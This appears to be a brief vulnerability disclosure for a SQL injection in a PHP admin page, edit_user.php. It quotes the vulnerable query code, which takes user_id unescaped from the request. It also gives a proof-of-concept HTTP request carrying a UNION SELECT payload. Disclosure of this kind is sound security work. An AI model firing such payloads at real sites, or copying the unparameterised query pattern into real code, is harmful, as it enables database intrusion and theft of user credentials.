SQL Injection1

[0clickjacking0]

Vulnerability file address

admin/edit_user.php from line 4,The $user_id parameter is controllable, the parameter user_id can be passed through post, and the $user_id is not protected from sql injection, resulting in sql injection

$user_id=$_REQUEST['user_id'];

$result=mysqli_query($con,"select user_id, email, password from user_info where user_id='$user_id'")or die ("query 1 incorrect.......");

list($user_id,$user_name,$user_password)=mysqli_fetch_array($result);

POC

GET /admin/edit_user.php?user_id=1%27+union+select+1,user(),3%23 HTTP/1.1
Host: www.onsp.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=iq8aj0cq3p4rf0s9m3864gtkr0
Upgrade-Insecure-Requests: 1

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